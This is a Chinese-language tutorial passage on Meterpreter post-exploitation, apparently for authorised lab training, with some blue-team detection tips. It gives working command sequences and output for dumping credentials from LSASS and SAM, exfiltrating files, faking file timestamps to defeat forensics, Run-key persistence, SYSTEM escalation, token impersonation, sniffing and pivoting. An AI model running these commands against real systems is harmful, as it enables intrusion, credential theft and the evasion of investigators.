本节摘要:SOURCE 4.2:文件系统、进程、网络、截屏、键盘记录;扩展 kiwi 抓凭据、Pass the Hash。
Meterpreter 的核心功能通过扩展按需加载,功能矩阵清晰。先跑一组最常用的命令(隔离 lab):
meterpreter > pwd meterpreter > ls meterpreter > upload /tmp/tool.exe C:\\Windows\\Temp\\ meterpreter > download C:\\Users\\admin\\secret.txt meterpreter > getuid meterpreter > sysinfo meterpreter > getpid meterpreter > ps
meterpreter > load kiwi meterpreter > creds_msv # Kiwi 从 LSASS 导出凭据 meterpreter > creds_kerberos meterpreter > hashdump # 导出 SAM 哈希
SOURCE:Mimikatz/Kiwi 导出 LSASS 凭据,实现横向移动素材。这些操作全部通过 TLV 协议动态加载扩展完成,不需要在目标上落地任何文件。
| 类别 | 命令示例 | 风险 |
|---|---|---|
| 文件 | upload/download | 数据渗出 |
| 进程 | ps, kill, migrate | 稳定性 |
| 凭据 | hashdump, kiwi | 横向移动 |
| 网络 | portfwd, route | 内网穿透 |
| 系统 | reg, sysinfo, getsystem | 权限提升 |
| 反取证 | timestomp | 痕迹篡改 |
upload/download 底层直接调用 Win32 API(ReadFile/WriteFile),避开系统缓存高层抽象,传输大文件更稳定。反取证重点是 Timestomp——文件 MAC 属性(修改/访问/创建时间)是取证人员重建时间线的依据,timestomp 可把后门文件的属性伪装成系统文件:
meterpreter > timestomp C:\\Windows\\Temp\\tool.exe -v # 查看当前 MAC 时间 meterpreter > timestomp C:\\Windows\\Temp\\tool.exe -c 07/22/2010 03:00:00 # 把创建时间改为系统文件时间
这类操作属于授权测试中的反取证教学,蓝队据此设计"文件时间异常"检测规则。
进程迁移是巩固会话的首要动作。初始会话通常依附临时进程(notepad/svchost),用户关闭该程序会话即断。migrate 用 VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 组合把 DLL 注入长期运行进程:
meterpreter > ps # PID PPID Name Path # 1234 123 notepad.exe ... # 4560 500 explorer.exe ... meterpreter > migrate 4560 # [*] Migrating from 1234 to 4560...
注册表操作无需图形工具即可增删改查,是持久化的前置能力:
meterpreter > reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run meterpreter > reg setval -k HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -n update -d "C:\\temp\\x.exe" # 修改启动项,实现开机自启(仅授权实验)
键盘记录通过 Windows 钩子拦截消息队列中的输入事件,即使虚拟键盘输入也能捕获。数据加密缓存后定期回传。
getsystem 是标志性提权命令,目标是把当前进程提升到 SYSTEM。它主要靠两种技术:令牌模拟与命名管道模拟。命名管道模拟流程:创建 SYSTEM 权限的服务 → 服务启动时连接 Meterpreter 创建的命名管道 → 调用 ImpersonateNamedPipeClient 窃取 SYSTEM 令牌。
meterpreter > getsystem # [-] priv_elevate_getsystem: ... 尝试失败则换方法 # 成功输出 SYSTEM 上下文 meterpreter > getuid # Server username: NT AUTHORITY\SYSTEM
Incognito 扩展做令牌窃取:枚举系统上所有可用令牌(包括已登录管理员的),把令牌"窃取"到当前进程。即使当前是普通用户,只要系统上有管理员登录过,就能复用其令牌获得权限:
meterpreter > load incognito meterpreter > list_tokens -u # 列出可用用户令牌 meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" # 假冒 SYSTEM 令牌
Meterpreter 运行在目标内部,可用原始套接字嗅探流经网卡的数据包,绕过主机防火墙限制。嗅探模块支持导出 PCAP 供离线分析:
meterpreter > use sniffer meterpreter > sniffer_interfaces # 1 - 'Intel(R) PRO...' ( type:0 mtu:1500) meterpreter > sniffer_start 1 meterpreter > sniffer_dump 1 /tmp/capture.pcap
端口转发让目标主机成为跳板,把攻击者流量经 Meterpreter 隧道转发到内网其他主机:
meterpreter > portfwd add -L 127.0.0.1 -l 33890 -r 10.10.10.5 -p 3389 # 本地 33890 → 隧道 → 内网 10.10.10.5:3389
meterpreter > portfwd list # Active Port Forwards # 0: tcp 127.0.0.1:33890 -> 10.10.10.5:3389
⚠️ 常见坑:hashdump 触发 AV——蓝队应监控 LSASS 访问。
load kiwi前先确认架构匹配:x64 系统必须用 x64 的 meterpreter。
💡 关键直觉:功能模块 = post 能力的交互式前置。命令记不住没关系,
help永远是第一入口;重点是理解"扩展加载—TLV 调用"的机制。
Meterpreter 的扩展按用途分层,load 命令按需加载:
| 扩展 | 能力 | 典型命令 |
|---|---|---|
| stdapi | 文件/进程/网络/注册表 | ls, ps, ifconfig, reg |
| priv | 提权 | getsystem |
| espia | 屏幕截取 | screenshot |
| sniffer | 网络嗅探 | sniffer_start |
| kiwi | 凭据(Mimikatz 移植) | creds_msv, creds_kerberos |
| incognito | 令牌窃取 | list_tokens, impersonate_token |
| powershell | 内存加载 PS | powershell_execute |
meterpreter > load espia meterpreter > screenshot /tmp/screen.png # [*] Screenshot saved to: /tmp/screen.png
meterpreter > load powershell meterpreter > powershell_execute "Get-Host" # 在内存中执行 PowerShell,无需落地脚本文件
meterpreter > load sniffer meterpreter > sniffer_interfaces meterpreter > sniffer_start 1 # 开始抓包;导出后可在 Wireshark 离线分析 meterpreter > sniffer_dump 1 /tmp/cap.pcap
扩展加载前确认架构:x64 系统必须用 x64 meterpreter,否则扩展加载失败甚至导致会话崩溃。
screenshot 与键盘记录属于高敏感能力,在授权测试中用于"证明访问深度"(比如截取管理后台会话),但同时也是 APT 的标准动作。蓝队视角:
检测思路 1. 监控屏幕截取 API(GDI/BitBlt)的异常调用 2. 监控键盘钩子(SetWindowsHookEx)与输入事件拦截 3. 对 LSASS 的读取访问保持高敏告警
理解这些功能背后的系统机制(钩子、句柄、令牌),比记忆命令列表重要得多——机制不变,防御规则就有靶心。
信息:getuid sysinfo getpid id getenv 进程:ps kill migrate steal_token 文件:ls cd pwd upload download rm timestomp 网络:ifconfig route portfwd ipconfig 注册表:reg query reg setval reg delkey 凭据:hashdump load kiwi creds_msv creds_kerberos
这张表覆盖了后渗透 80% 的日常操作。其余命令随时 help 或 help <command> 查询。